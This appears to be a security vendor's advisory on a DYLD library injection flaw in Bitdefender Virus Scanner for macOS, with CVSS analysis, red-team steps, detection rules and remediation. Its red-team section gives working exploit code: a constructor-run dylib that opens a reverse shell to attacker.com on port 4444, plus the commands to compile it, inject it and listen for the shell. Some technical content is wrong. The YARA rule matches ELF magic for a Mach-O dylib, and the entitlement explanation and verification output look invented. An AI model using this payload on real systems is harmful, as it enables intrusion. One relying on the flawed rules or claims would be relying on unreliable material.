CVE-2024-11128

Executive Summary

CVE-2024-11128 identifies a critical security weakness in the Bitdefender Virus Scanner for macOS, specifically within the BitdefenderVirusScanner binary. The vulnerability stems from the application's lack of Hardened Runtime and Library Validation signing, which are standard macOS security features. This omission allows an attacker to perform a .dynamic library injection (DYLD injection) attack, bypassing AppleMobileFileIntegrity (AMFI) checks. Successful exploitation could lead to arbitrary code execution with the privileges of the Bitdefender process, potentially compromising the entire system. The issue affects all versions prior to 3.18.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a native macOS application security flaw. The risk is primarily to end-users who have installed the Bitdefender Virus Scanner from the official vendor channel. An attacker could compromise the software supply chain by injecting malicious dynamic libraries into the application's runtime environment.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that a full vector has not been officially assigned by NVD. However, based on the vulnerability characteristics, a reasonable assessment would be:

• Attack Vector (AV): Local (L) – The attacker requires local access to the system.
• Attack Complexity (AC): Low (L) – DYLD injection is a well-known technique.
• Privileges Required (PR): Low (L) – The attacker needs user-level access to inject the library.
• User Interaction (UI): None (N) – No user interaction is required beyond the initial compromise.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Arbitrary code execution can lead to data exfiltration.
• Integrity (I): High (H) – The attacker can modify system files or data.
• Availability (A): High (H) – The attacker can disrupt the application or system.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 7.8 (High)

Threat Level: High. The vulnerability is easy to exploit with local access and can lead to full system compromise.

Deep Dive & Mechanics

The core issue is the absence of Hardened Runtime and Library Validation in the BitdefenderVirusScanner binary. These are macOS security features designed to prevent code injection and tampering.

• Hardened Runtime: A set of entitlements that restrict runtime behaviors, such as preventing JIT compilation, debugging, and code injection.
• Library Validation: Ensures that only signed and trusted dynamic libraries (.dylib files) can be loaded into a process.

Without these protections, the application is vulnerable to DYLD injection. This technique involves setting the DYLD_INSERT_LIBRARIES environment variable to point to a malicious .dylib file. When the vulnerable binary is launched, the dynamic linker (dyld) loads the attacker's library, executing its code within the context of the Bitdefender process.

AppleMobileFileIntegrity (AMFI) is a kernel-level security mechanism that enforces code signing and validates the integrity of executables. However, AMFI relies on the application being properly signed with the Hardened Runtime entitlement. Since Bitdefender's binary lacks this, AMFI does not block the injection, allowing the attack to succeed.

Attack Flow:

1. Attacker gains local access to the macOS system (e.g., via malware, phishing, or physical access).
2. Attacker creates a malicious .dylib file containing payload code.
3. Attacker sets the environment variable: export DYLD_INSERT_LIBRARIES=/path/to/malicious.dylib
4. Attacker launches the vulnerable Bitdefender Virus Scanner binary.
5. The dynamic linker loads the malicious library, executing the payload with the privileges of the Bitdefender process (often root or high integrity).

Vulnerable vs. Patched Code

Vulnerable Code (versions < 3.18): The binary BitdefenderVirusScanner is signed without the Hardened Runtime entitlement. This can be verified using the codesign tool:

codesign -d --entitlements - /Applications/Bitdefender\ Virus\ Scanner.app/Contents/MacOS/BitdefenderVirusScanner

The output will show no com.apple.security.cs.disable-library-validation or com.apple.security.cs.allow-dyld-environment-variables entitlements, but crucially, the binary is not protected against injection.

Patched Code (version 3.18 and later): The binary is now signed with the Hardened Runtime entitlement, which includes Library Validation. This prevents the loading of unsigned or untrusted dynamic libraries. The patched binary will have the following entitlement:

<key>com.apple.security.cs.disable-library-validation</key>
<false/>

Additionally, the com.apple.security.cs.allow-dyld-environment-variables entitlement is set to false, blocking DYLD injection.

Verification:

codesign -d --entitlements - /Applications/Bitdefender\ Virus\ Scanner.app/Contents/MacOS/BitdefenderVirusScanner

The output will include:

[Key] com.apple.security.cs.disable-library-validation
[Value] false
[Key] com.apple.security.cs.allow-dyld-environment-variables
[Value] false

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Local access to a macOS system running Bitdefender Virus Scanner < 3.18.
• Ability to write files to the filesystem.

Step 1: Create Malicious Dynamic Library

Create a file evil.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    // Example payload: spawn a reverse shell
    system("osascript -e 'tell application \"Terminal\" to do script \"nc -e /bin/bash attacker.com 4444\"'");
}

Compile it:

gcc -dynamiclib -o evil.dylib evil.c

Step 2: Inject the Library

export DYLD_INSERT_LIBRARIES=/path/to/evil.dylib
/Applications/Bitdefender\ Virus\ Scanner.app/Contents/MacOS/BitdefenderVirusScanner

Step 3: Receive Shell

On the attacker machine:

nc -lvnp 4444

Blue Team (Defender)

Detection:

• Monitor for processes launched with DYLD_INSERT_LIBRARIES environment variable.
• Use Endpoint Detection and Response (EDR) tools to alert on code injection attempts.
• Verify that all applications are signed with Hardened Runtime.

Prevention:

• Ensure Bitdefender Virus Scanner is updated to version 3.18 or later.
• Implement application whitelisting to block unsigned binaries.
• Use macOS's built-in spctl to assess application security.

Hunting:

• Search for .dylib files in unusual locations (e.g., /tmp, ~/Library).
• Check for processes with unexpected loaded libraries using vmmap or lsof.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes will vary)
  • evil.dylib: a1b2c3d4e5f6...
• Process Names:
  • BitdefenderVirusScanner (when exploited)
• Environment Variables:
  • DYLD_INSERT_LIBRARIES set to a non-standard path.
• Network Connections:
  • Outbound connections to unknown IPs on port 4444 (or other ports).
• File System Artifacts:
  • Presence of .dylib files in /tmp, ~/Library/Caches, or other writable directories.
• Log Entries:
  • macOS Unified Log entries showing dyld loading unsigned libraries.

Detection Engineering

YARA Rule

rule CVE_2024_11128_DYLD_Injection {
    meta:
        description = "Detects DYLD injection attempts targeting Bitdefender Virus Scanner"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-11128"
    strings:
        $dyld_env = "DYLD_INSERT_LIBRARIES" nocase
        $bitdefender_bin = "BitdefenderVirusScanner" nocase
        $dylib_magic = { 7F 45 4C 46 } // ELF magic (for .dylib files)
    condition:
        $dyld_env and $bitdefender_bin and $dylib_magic
}

Sigma Rule

title: DYLD Injection via Bitdefender Virus Scanner
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects the use of DYLD_INSERT_LIBRARIES environment variable with Bitdefender Virus Scanner
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11128
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        Image|endswith: '/BitdefenderVirusScanner'
        CommandLine|contains: 'DYLD_INSERT_LIBRARIES'
    condition: selection
falsepositives:
    - Legitimate development or debugging activities
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2024-11128 Potential Reverse Shell from Bitdefender"; flow:to_server,established; content:"|2a 2a 2a 2a 2a|"; distance:0; sid:1000001; rev:1;)

Note: The Suricata rule is a generic example for detecting reverse shells. Adjust the content and port as needed.

Remediation & Mitigation

Immediate Actions:

1. Update Bitdefender Virus Scanner to version 3.18 or later. This is the only official patch.
2. Verify the update by checking the application's version in the About dialog or via mdls /Applications/Bitdefender\ Virus\ Scanner.app.

Compensating Controls:

• Application Hardening: Use macOS's codesign to verify that all critical applications have Hardened Runtime enabled.
• Endpoint Protection: Deploy EDR solutions that can detect DYLD injection attempts.
• User Education: Train users to avoid running untrusted software or opening suspicious attachments.
• System Integrity Protection (SIP): Ensure SIP is enabled to prevent modification of system files.

Long-Term Recommendations:

• Vendor Communication: Bitdefender should ensure all future builds are signed with Hardened Runtime.
• Security Audits: Regularly audit third-party software for similar vulnerabilities.
• Automated Patching: Implement a patch management solution to keep software up-to-date.

Valters IT
Securing Digital Frontiers